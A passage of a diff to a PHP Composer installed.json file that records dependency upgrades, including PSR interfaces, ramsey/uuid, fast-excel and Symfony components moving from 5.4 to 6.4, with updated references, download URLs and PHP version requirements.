"serialization", - "serialize" - ], - "support": { - "issues": "https://github.com/opis/closure/issues", - "source": "https://github.com/opis/closure/tree/3.6.3" - }, - "install-path": "../opis/closure" + "install-path": "../openspout/openspout" }, { "name": "paragonie/constant_time_encoding", @@ -3411,23 +4247,23 @@ }, { "name": "psr/cache", - "version": "1.0.1", - "version_normalized": "1.0.1.0", + "version": "3.0.0", + "version_normalized": "3.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/cache.git", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8" + "reference": "aa5030cfa5405eccfdcb1083ce040c2cb8d253bf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/cache/zipball/d11b50ad223250cf17b86e38383413f5a6764bf8", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8", + "url": "https://api.github.com/repos/php-fig/cache/zipball/aa5030cfa5405eccfdcb1083ce040c2cb8d253bf", + "reference": "aa5030cfa5405eccfdcb1083ce040c2cb8d253bf", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, - "time": "2016-08-06T20:24:11+00:00", + "time": "2021-02-03T23:26:27+00:00", "type": "library", "extra": { "branch-alias": { @@ -3447,7 +4283,7 @@ "authors": [ { "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" + "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for caching libraries", @@ -3457,7 +4293,7 @@ "psr-6" ], "support": { - "source": "https://github.com/php-fig/cache/tree/master" + "source": "https://github.com/php-fig/cache/tree/3.0.0" }, "install-path": "../psr/cache" }, @@ -3514,24 +4350,29 @@ }, { "name": "psr/container", - "version": "1.1.2", - "version_normalized": "1.1.2.0", + "version": "2.0.2", + "version_normalized": "2.0.2.0", "source": { "type": "git", "url": "https://github.com/php-fig/container.git", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea" + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", "shasum": "" }, "require": { "php": ">=7.4.0" }, - "time": "2021-11-05T16:50:12+00:00", + "time": "2021-11-05T16:47:00+00:00", "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, "installation-source": "dist", "autoload": { "psr-4": { @@ -3559,7 +4400,7 @@ ], "support": { "issues": "https://github.com/php-fig/container/issues", - "source": "https://github.com/php-fig/container/tree/1.1.2" + "source": "https://github.com/php-fig/container/tree/2.0.2" }, "install-path": "../psr/container" }, @@ -3787,33 +4628,33 @@ }, { "name": "psr/log", - "version": "1.1.4", - "version_normalized": "1.1.4.0", + "version": "3.0.0", + "version_normalized": "3.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", - "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", - "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001", + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, - "time": "2021-05-03T11:20:27+00:00", + "time": "2021-07-14T16:46:02+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "1.1.x-dev" + "dev-master": "3.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { - "Psr\\Log\\": "Psr/Log/" + "Psr\\Log\\": "src" } }, "notification-url": "https://packagist.org/downloads/", @@ -3834,33 +4675,33 @@ "psr-3" ], "support": { - "source": "https://github.com/php-fig/log/tree/1.1.4" + "source": "https://github.com/php-fig/log/tree/3.0.0" }, "install-path": "../psr/log" }, { "name": "psr/simple-cache", - "version": "1.0.1", - "version_normalized": "1.0.1.0", + "version": "3.0.0", + "version_normalized": "3.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/simple-cache.git", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/764e0b3939f5ca87cb904f570ef9be2d78a07865", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, - "time": "2017-10-23T01:57:42+00:00", + "time": "2021-10-29T13:26:27+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "1.0.x-dev" + "dev-master": "3.0.x-dev" } }, "installation-source": "dist", @@ -3876,7 +4717,7 @@ "authors": [ { "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" + "homepage": "https://www.php-fig.org/" } ], "description": "Common interfaces for simple caching", @@ -3888,7 +4729,7 @@ "simple-cache" ], "support": { - "source": "https://github.com/php-fig/simple-cache/tree/master" + "source": "https://github.com/php-fig/simple-cache/tree/3.0.0" }, "install-path": "../psr/simple-cache" }, @@ -3941,22 +4782,21 @@ }, { "name": "ramsey/collection", - "version": "1.3.0", - "version_normalized": "1.3.0.0", + "version": "2.0.0", + "version_normalized": "2.0.0.0", "source": { "type": "git", "url": "https://github.com/ramsey/collection.git", - "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4" + "reference": "a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ramsey/collection/zipball/ad7475d1c9e70b190ecffc58f2d989416af339b4", - "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4", + "url": "https://api.github.com/repos/ramsey/collection/zipball/a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5", + "reference": "a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5", "shasum": "" }, "require": { - "php": "^7.4 || ^8.0", - "symfony/polyfill-php81": "^1.23" + "php": "^8.1" }, "require-dev": { "captainhook/plugin-composer": "^5.3", @@ -3980,7 +4820,7 @@ "ramsey/conventional-commits": "^1.3", "vimeo/psalm": "^5.4" }, - "time": "2022-12-27T19:12:24+00:00", + "time": "2022-12-31T21:50:55+00:00", "type": "library", "extra": { "captainhook": { @@ -4018,7 +4858,7 @@ ], "support": { "issues": "https://github.com/ramsey/collection/issues", - "source": "https://github.com/ramsey/collection/tree/1.3.0" + "source": "https://github.com/ramsey/collection/tree/2.0.0" }, "funding": [ { @@ -4034,26 +4874,24 @@ }, { "name": "ramsey/uuid", - "version": "4.2.3", - "version_normalized": "4.2.3.0", + "version": "4.7.6", + "version_normalized": "4.7.6.0", "source": { "type": "git", "url": "https://github.com/ramsey/uuid.git", - "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df" + "reference": "91039bc1faa45ba123c4328958e620d382ec7088" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ramsey/uuid/zipball/fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", - "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/91039bc1faa45ba123c4328958e620d382ec7088", + "reference": "91039bc1faa45ba123c4328958e620d382ec7088", "shasum": "" }, "require": { - "brick/math": "^0.8 || ^0.9", + "brick/math": "^0.8.8 || ^0.9 || ^0.10 || ^0.11 || ^0.12", "ext-json": "*", - "php": "^7.2 || ^8.0", - "ramsey/collection": "^1.0", - "symfony/polyfill-ctype": "^1.8", - "symfony/polyfill-php80": "^1.14" + "php": "^8.0", + "ramsey/collection": "^1.2 || ^2.0" }, "replace": { "rhumsaa/uuid": "self.version" @@ -4065,35 +4903,31 @@ "doctrine/annotations": "^1.8", "ergebnis/composer-normalize": "^2.15", "mockery/mockery": "^1.3", - "moontoast/math": "^1.1", "paragonie/random-lib": "^2", "php-mock/php-mock": "^2.2", "php-mock/php-mock-mockery": "^1.3", "php-parallel-lint/php-parallel-lint": "^1.1", "phpbench/phpbench": "^1.0", - "phpstan/extension-installer": "^1.0", - "phpstan/phpstan": "^0.12", - "phpstan/phpstan-mockery": "^0.12", - "phpstan/phpstan-phpunit": "^0.12", + "phpstan/extension-installer": "^1.1", + "phpstan/phpstan": "^1.8", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-phpunit": "^1.1", "phpunit/phpunit": "^8.5 || ^9", - "slevomat/coding-standard": "^7.0", + "ramsey/composer-repl": "^1.4", + "slevomat/coding-standard": "^8.4", "squizlabs/php_codesniffer": "^3.5", "vimeo/psalm": "^4.9" }, "suggest": { "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", - "ext-ctype": "Enables faster processing of character classification using ctype functions.", "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", "ramsey/uuid-doctrine": "Allows the use of Ramsey\\Uuid\\Uuid as Doctrine field type." }, - "time": "2021-09-25T23:10:38+00:00", + "time": "2024-04-27T21:32:50+00:00", "type": "library", "extra": { - "branch-alias": { - "dev-main": "4.x-dev" - }, "captainhook": { "force-install": true } @@ -4119,7 +4953,7 @@ ], "support": { "issues": "https://github.com/ramsey/uuid/issues", - "source": "https://github.com/ramsey/uuid/tree/4.2.3" + "source": "https://github.com/ramsey/uuid/tree/4.7.6" }, "funding": [ { @@ -4135,30 +4969,30 @@ }, { "name": "rap2hpoutre/fast-excel", - "version": "v4.1.0", - "version_normalized": "4.1.0.0", + "version": "v5.5.0", + "version_normalized": "5.5.0.0", "source": { "type": "git", "url": "https://github.com/rap2hpoutre/fast-excel.git", - "reference": "724557e844170a231fd4515bbc3ea435ca622e7d" + "reference": "83604f2a16fbb0374747299173abe691b24916da" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rap2hpoutre/fast-excel/zipball/724557e844170a231fd4515bbc3ea435ca622e7d", - "reference": "724557e844170a231fd4515bbc3ea435ca622e7d", + "url": "https://api.github.com/repos/rap2hpoutre/fast-excel/zipball/83604f2a16fbb0374747299173abe691b24916da", + "reference": "83604f2a16fbb0374747299173abe691b24916da", "shasum": "" }, "require": { - "illuminate/support": "5.3.* || 5.4.* || 5.5.* || 5.6.* || 5.7.* || 5.8.* || ^6.0 || ^7.0 || ^8.0 || ^9.0", - "openspout/openspout": "^3", - "php": "^7.3 || ^8.0" + "illuminate/support": "^6.0 || ^7.0 || ^8.0 || ^9.0 || ^10.0 || ^11.0", + "openspout/openspout": "^4.24", + "php": "^8.0" }, "require-dev": { - "illuminate/database": "^6.20.12 || ^7.30.4 || ^8.24.0 || ^9.0", - "phpunit/phpunit": "^9.5", + "illuminate/database": "^6.20.12 || ^7.30.4 || ^8.24.0 || ^9.0 || ^10.0 || ^11.0", + "phpunit/phpunit": "^9.5 || ^10.1", "squizlabs/php_codesniffer": "3.*" }, - "time": "2022-07-21T14:21:25+00:00", + "time": "2024-06-03T08:00:43+00:00", "type": "library", "extra": { "laravel": { @@ -4196,7 +5030,7 @@ ], "support": { "issues": "https://github.com/rap2hpoutre/fast-excel/issues", - "source": "https://github.com/rap2hpoutre/fast-excel/tree/v4.1.0" + "source": "https://github.com/rap2hpoutre/fast-excel/tree/v5.5.0" }, "funding": [ { @@ -4208,33 +5042,32 @@ }, { "name": "rennokki/laravel-eloquent-query-cache", - "version": "3.3.0", - "version_normalized": "3.3.0.0", + "version": "3.4.0", + "version_normalized": "3.4.0.0", "source": { "type": "git", "url": "https://github.com/renoki-co/laravel-eloquent-query-cache.git", - "reference": "00e73a7050bedca315c71bf433d0c283f8a73fbc" + "reference": "abd7235617206dbf82af8e3177616d7bfb5fed84" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/renoki-co/laravel-eloquent-query-cache/zipball/00e73a7050bedca315c71bf433d0c283f8a73fbc", - "reference": "00e73a7050bedca315c71bf433d0c283f8a73fbc", + "url": "https://api.github.com/repos/renoki-co/laravel-eloquent-query-cache/zipball/abd7235617206dbf82af8e3177616d7bfb5fed84", + "reference": "abd7235617206dbf82af8e3177616d7bfb5fed84", "shasum": "" }, "require": { - "illuminate/database": "^8.83|^9.0.1", - "illuminate/support": "^8.83|^9.0.1" + "illuminate/database": "^9.35|^10.5", + "illuminate/support": "^9.35|^10.5" }, "require-dev": { - "chelout/laravel-relationship-events": "^1.5", + "chelout/laravel-relationship-events": "^1.5|^2.0", "laravel/legacy-factories": "^1.3", + "livewire/livewire": "dev-master", "mockery/mockery": "^1.5", - "orchestra/database": "^6.28|^7.0", - "orchestra/testbench": "^6.28|^7.0", - "orchestra/testbench-core": "^6.28|^7.0", - "phpunit/phpunit": "^9.5.13" + "orchestra/testbench": "^7.23|^8.1.1", + "phpunit/phpunit": "^9.5.25" }, - "time": "2022-02-12T19:37:00+00:00", + "time": "2023-04-01T12:26:34+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -4266,7 +5099,7 @@ ], "support": { "issues": "https://github.com/renoki-co/laravel-eloquent-query-cache/issues", - "source": "https://github.com/renoki-co/laravel-eloquent-query-cache/tree/3.3.0" + "source": "https://github.com/renoki-co/laravel-eloquent-query-cache/tree/3.4.0" }, "funding": [ { @@ -4333,29 +5166,31 @@ }, { "name": "spatie/eloquent-sortable", - "version": "3.11.0", - "version_normalized": "3.11.0.0", + "version": "4.4.0", + "version_normalized": "4.4.0.0", "source": { "type": "git", "url": "https://github.com/spatie/eloquent-sortable.git", - "reference": "b06fa886559f8d40e31c8a69fd32bd45401dc5da" + "reference": "7a460c775d29741f42744bac52f993cb5b84be0f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/eloquent-sortable/zipball/b06fa886559f8d40e31c8a69fd32bd45401dc5da", - "reference": "b06fa886559f8d40e31c8a69fd32bd45401dc5da", + "url": "https://api.github.com/repos/spatie/eloquent-sortable/zipball/7a460c775d29741f42744bac52f993cb5b84be0f", + "reference": "7a460c775d29741f42744bac52f993cb5b84be0f", "shasum": "" }, "require": { - "illuminate/database": "^6.0|^7.0|^8.0", - "illuminate/support": "^6.0|^7.0|^8.0", - "php": "^7.3|^8.0" + "illuminate/database": "^9.31|^10.0|^11.0", + "illuminate/support": "^9.31|^10.0|^11.0", + "nesbot/carbon": "^2.63|^3.0", + "php": "^8.1", + "spatie/laravel-package-tools": "^1.9" }, "require-dev": { - "orchestra/testbench": "^4.0|^5.0|^6.0", - "phpunit/phpunit": "^8.0|^9.0" + "orchestra/testbench": "^7.0|^8.0|^9.0", + "phpunit/phpunit": "^9.5|^10.0" }, - "time": "2021-01-18T00:32:12+00:00", + "time": "2024-06-04T11:09:54+00:00", "type": "library", "extra": { "laravel": { @@ -4392,9 +5227,13 @@ ], "support": { "issues": "https://github.com/spatie/eloquent-sortable/issues", - "source": "https://github.com/spatie/eloquent-sortable/tree/3.11.0" + "source": "https://github.com/spatie/eloquent-sortable/tree/4.4.0" }, "funding": [ + { + "url": "https://spatie.be/open-source/support-us", + "type": "custom" + }, { "url": "https://github.com/spatie", "type": "github" @@ -4402,6 +5241,69 @@ ], "install-path": "../spatie/eloquent-sortable" }, + { + "name": "spatie/laravel-package-tools", + "version": "1.16.4", + "version_normalized": "1.16.4.0", + "source": { + "type": "git", + "url": "https://github.com/spatie/laravel-package-tools.git", + "reference": "ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53", + "reference": "ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^9.28|^10.0|^11.0", + "php": "^8.0" + }, + "require-dev": { + "mockery/mockery": "^1.5", + "orchestra/testbench": "^7.7|^8.0", + "pestphp/pest": "^1.22", + "phpunit/phpunit": "^9.5.24", + "spatie/pest-plugin-test-time": "^1.1" + }, + "time": "2024-03-20T07:29:11+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Spatie\\LaravelPackageTools\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Freek Van der Herten", + "email": "freek@spatie.be", + "role": "Developer" + } + ], + "description": "Tools for creating Laravel packages", + "homepage": "https://github.com/spatie/laravel-package-tools", + "keywords": [ + "laravel-package-tools", + "spatie" + ], + "support": { + "issues": "https://github.com/spatie/laravel-package-tools/issues", + "source": "https://github.com/spatie/laravel-package-tools/tree/1.16.4" + }, + "funding": [ + { + "url": "https://github.com/spatie", + "type": "github" + } + ], + "install-path": "../spatie/laravel-package-tools" + }, { "name": "spipu/html2pdf", "version": "v5.2.8", @@ -4464,55 +5366,50 @@ }, { "name": "symfony/console", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "f3e591c48688a0cfa1a3296205926c05e84b22b1" + "reference": "be5854cee0e8c7b110f00d695d11debdfa1a2a91" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/f3e591c48688a0cfa1a3296205926c05e84b22b1", - "reference": "f3e591c48688a0cfa1a3296205926c05e84b22b1", + "url": "https://api.github.com/repos/symfony/console/zipball/be5854cee0e8c7b110f00d695d11debdfa1a2a91", + "reference": "be5854cee0e8c7b110f00d695d11debdfa1a2a91", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php73": "^1.9", - "symfony/polyfill-php80": "^1.16", - "symfony/service-contracts": "^1.1|^2|^3", - "symfony/string": "^5.1|^6.0" + "symfony/service-contracts": "^2.5|^3", + "symfony/string": "^5.4|^6.0|^7.0" }, "conflict": { - "psr/log": ">=3", - "symfony/dependency-injection": "<4.4", - "symfony/dotenv": "<5.1", - "symfony/event-dispatcher": "<4.4", - "symfony/lock": "<4.4", - "symfony/process": "<4.4" + "symfony/dependency-injection": "<5.4", + "symfony/dotenv": "<5.4", + "symfony/event-dispatcher": "<5.4", + "symfony/lock": "<5.4", + "symfony/process": "<5.4" }, "provide": { - "psr/log-implementation": "1.0|2.0" + "psr/log-implementation": "1.0|2.0|3.0" }, "require-dev": { - "psr/log": "^1|^2", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/event-dispatcher": "^4.4|^5.0|^6.0", - "symfony/lock": "^4.4|^5.0|^6.0", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/var-dumper": "^4.4|^5.0|^6.0" - }, - "suggest": { - "psr/log": "For using the console logger", - "symfony/event-dispatcher": "", - "symfony/lock": "", - "symfony/process": "" - }, - "time": "2024-04-18T08:26:06+00:00", + "psr/log": "^1|^2|^3", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/lock": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -4546,7 +5443,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v5.4.39" + "source": "https://github.com/symfony/console/tree/v6.4.8" }, "funding": [ { @@ -4566,27 +5463,27 @@ }, { "name": "symfony/deprecation-contracts", - "version": "v2.5.3", - "version_normalized": "2.5.3.0", + "version": "v3.5.0", + "version_normalized": "3.5.0.0", "source": { "type": "git", "url": "https://github.com/symfony/deprecation-contracts.git", - "reference": "80d075412b557d41002320b96a096ca65aa2c98d" + "reference": "0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/80d075412b557d41002320b96a096ca65aa2c98d", - "reference": "80d075412b557d41002320b96a096ca65aa2c98d", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1", + "reference": "0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1", "shasum": "" }, "require": { - "php": ">=7.1" + "php": ">=8.1" }, - "time": "2023-01-24T14:02:46+00:00", + "time": "2024-04-18T09:32:20+00:00", "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -4616,7 +5513,7 @@ "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.0" }, "funding": [ { @@ -4636,30 +5533,34 @@ }, { "name": "symfony/error-handler", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/error-handler.git", - "reference": "9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd" + "reference": "ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/error-handler/zipball/9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd", - "reference": "9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd", + "url": "https://api.github.com/repos/symfony/error-handler/zipball/ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc", + "reference": "ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "psr/log": "^1|^2|^3", - "symfony/var-dumper": "^4.4|^5.0|^6.0" + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "conflict": { + "symfony/deprecation-contracts": "<2.5", + "symfony/http-kernel": "<6.4" }, "require-dev": { - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/http-kernel": "^4.4|^5.0|^6.0", - "symfony/serializer": "^4.4|^5.0|^6.0" + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/serializer": "^5.4|^6.0|^7.0" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "bin": [ "Resources/bin/patch-type-declarations" ], @@ -4690,7 +5591,7 @@ "description": "Provides tools to manage errors and ease debugging PHP code", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/error-handler/tree/v5.4.39" + "source": "https://github.com/symfony/error-handler/tree/v6.4.8" }, "funding": [ { @@ -4710,47 +5611,42 @@ }, { "name": "symfony/event-dispatcher", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher.git", - "reference": "d40fae9fd85c762b6ba378152fdd1157a85d7e4f" + "reference": "8d7507f02b06e06815e56bb39aa0128e3806208b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/d40fae9fd85c762b6ba378152fdd1157a85d7e4f", - "reference": "d40fae9fd85c762b6ba378152fdd1157a85d7e4f", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/8d7507f02b06e06815e56bb39aa0128e3806208b", + "reference": "8d7507f02b06e06815e56bb39aa0128e3806208b", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/event-dispatcher-contracts": "^2|^3", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "symfony/event-dispatcher-contracts": "^2.5|^3" }, "conflict": { - "symfony/dependency-injection": "<4.4" + "symfony/dependency-injection": "<5.4", + "symfony/service-contracts": "<2.5" }, "provide": { "psr/event-dispatcher-implementation": "1.0", - "symfony/event-dispatcher-implementation": "2.0" + "symfony/event-dispatcher-implementation": "2.0|3.0" }, "require-dev": { "psr/log": "^1|^2|^3", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/http-foundation": "^4.4|^5.0|^6.0", - "symfony/service-contracts": "^1.1|^2|^3", - "symfony/stopwatch": "^4.4|^5.0|^6.0" - }, - "suggest": { - "symfony/dependency-injection": "", - "symfony/http-kernel": "" - }, - "time": "2024-04-18T08:26:06+00:00", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/stopwatch": "^5.4|^6.0|^7.0" + }, + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -4778,7 +5674,7 @@ "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/event-dispatcher/tree/v5.4.39" + "source": "https://github.com/symfony/event-dispatcher/tree/v6.4.8" }, "funding": [ { @@ -4798,31 +5694,28 @@ }, { "name": "symfony/event-dispatcher-contracts", - "version": "v2.5.3", - "version_normalized": "2.5.3.0", + "version": "v3.5.0", + "version_normalized": "3.5.0.0", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher-contracts.git", - "reference": "540f4c73e87fd0c71ca44a6aa305d024ac68cb73" + "reference": "8f93aec25d41b72493c6ddff14e916177c9efc50" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/540f4c73e87fd0c71ca44a6aa305d024ac68cb73", - "reference": "540f4c73e87fd0c71ca44a6aa305d024ac68cb73", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/8f93aec25d41b72493c6ddff14e916177c9efc50", + "reference": "8f93aec25d41b72493c6ddff14e916177c9efc50", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "psr/event-dispatcher": "^1" }, - "suggest": { - "symfony/event-dispatcher-implementation": "" - }, - "time": "2024-01-23T13:51:25+00:00", + "time": "2024-04-18T09:32:20+00:00", "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -4860,7 +5753,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.5.0" }, "funding": [ { @@ -4880,25 +5773,26 @@ }, { "name": "symfony/finder", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "f6a96e4fcd468a25fede16ee665f50ced856bd0a" + "reference": "3ef977a43883215d560a2cecb82ec8e62131471c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/f6a96e4fcd468a25fede16ee665f50ced856bd0a", - "reference": "f6a96e4fcd468a25fede16ee665f50ced856bd0a", + "url": "https://api.github.com/repos/symfony/finder/zipball/3ef977a43883215d560a2cecb82ec8e62131471c", + "reference": "3ef977a43883215d560a2cecb82ec8e62131471c", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1" + }, + "require-dev": { + "symfony/filesystem": "^6.0|^7.0" }, - "time": "2024-04-18T08:26:06+00:00", + "time": "2024-05-31T14:49:08+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -4926,7 +5820,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v5.4.39" + "source": "https://github.com/symfony/finder/tree/v6.4.8" }, "funding": [ { @@ -4946,38 +5840,39 @@ }, { "name": "symfony/http-foundation", - "version": "v5.4.39", - "version_normalized": "5.4.39.0", + "version": "v6.4.8", + "version_normalized": "6.4.8.0", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "3356c93efc30b0c85a37606bdfef16b813faec0e" + "reference": "27de8cc95e11db7a50b027e71caaab9024545947" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/3356c93efc30b0c85a37606bdfef16b813faec0e", - "reference": "3356c93efc30b0c85a37606bdfef16b813faec0e", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/27de8cc95e11db7a50b027e71caaab9024545947", + "reference": "27de8cc95e11db7a50b027e71caaab9024545947", "shasum": "" }, "require": { - "php": ">=7.2.5", - 